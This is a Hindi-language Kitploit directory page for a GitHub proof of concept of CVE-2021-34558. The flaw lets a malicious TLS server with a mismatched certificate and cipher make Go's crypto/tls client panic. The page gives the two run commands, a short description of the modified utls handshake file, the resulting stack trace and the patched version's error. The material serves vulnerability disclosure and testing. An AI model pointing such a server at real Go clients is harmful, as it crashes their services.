Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2021-34558 — CVE-2021-34558 के लिए प्रमाण-अवधारणा, जो बेमेल प्रमाणपत्र और सिफर वाले दुर्भावनापूर्ण सर्वर के माध्यम से Go के crypto/tls में TLS हैंडशेक पैनिक को प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/alexzorin/cve-2021-34558
भेद्यता विश्लेषणशोषणवेब सुरक्षाक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंग
GitHubalexzorin/cve-2021-34558

cve-2021-34558

CVE-2021-34558 के लिए प्रमाण-अवधारणा, जो बेमेल प्रमाणपत्र और सिफर वाले दुर्भावनापूर्ण सर्वर के माध्यम से Go के crypto/tls में TLS हैंडशेक पैनिक को प्रदर्शित करता है।

रिपॉजिटरी देखें
453115 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-34558 के लिए POC

# दुर्भावनापूर्ण TLS सर्वर चलाएं
go run main.go -mode server 

# सर्वर के विरुद्ध एक सामान्य `http.Get` क्लाइंट कॉल चलाएं जो पैनिक करता है
go run main.go -mode client

./vendor/github.com/refraction-networking/utls/handshake_server.go में एक मामूली संशोधन है ताकि बेमेल प्रमाणपत्र/सिफर के साथ दुर्भावनापूर्ण हैंडशेक भेजा जा सके।

यह इस प्रकार दिखता है:

$ go run main.go -mode client

panic: interface conversion: interface {} is *ecdsa.PublicKey, not *rsa.PublicKey

goroutine 7 [running]:
crypto/tls.rsaKeyAgreement.generateClientKeyExchange(0xc000001c80, 0xc00014a000, 0xc000130580, 0x0, 0x0, 0x4, 0x6e9da0, 0x7fe73e42e201, 0xc00001c758)
        /usr/local/go/src/crypto/tls/key_agreement.go:70 +0x3a6
crypto/tls.(*clientHandshakeState).doFullHandshake(0xc00015fd48, 0xc00001a380, 0x31)
        /usr/local/go/src/crypto/tls/handshake_client.go:574 +0x5e9
crypto/tls.(*clientHandshakeState).handshake(0xc00015fd48, 0xc00001c418, 0x4)
        /usr/local/go/src/crypto/tls/handshake_client.go:421 +0x566
crypto/tls.(*Conn).clientHandshake(0xc00007f180, 0x0, 0x0)
        /usr/local/go/src/crypto/tls/handshake_client.go:220 +0x754
crypto/tls.(*Conn).Handshake(0xc00007f180, 0x0, 0x0)
        /usr/local/go/src/crypto/tls/conn.go:1391 +0xc9
net/http.(*persistConn).addTLS.func2(0x0, 0xc00007f180, 0x0, 0xc0000624e0)
        /usr/local/go/src/net/http/transport.go:1530 +0x45
created by net/http.(*persistConn).addTLS
        /usr/local/go/src/net/http/transport.go:1526 +0x1f6
exit status 2

Go का पैच किया गया संस्करण (1.16.6+) क्रैश नहीं करता है:

$ go run main.go -mode client
2021/07/13 06:13:50 <nil> Get "https://127.0.0.1:8443/": tls: server certificate contains incorrect key type for selected ciphersuite
टूल डाउनलोड करें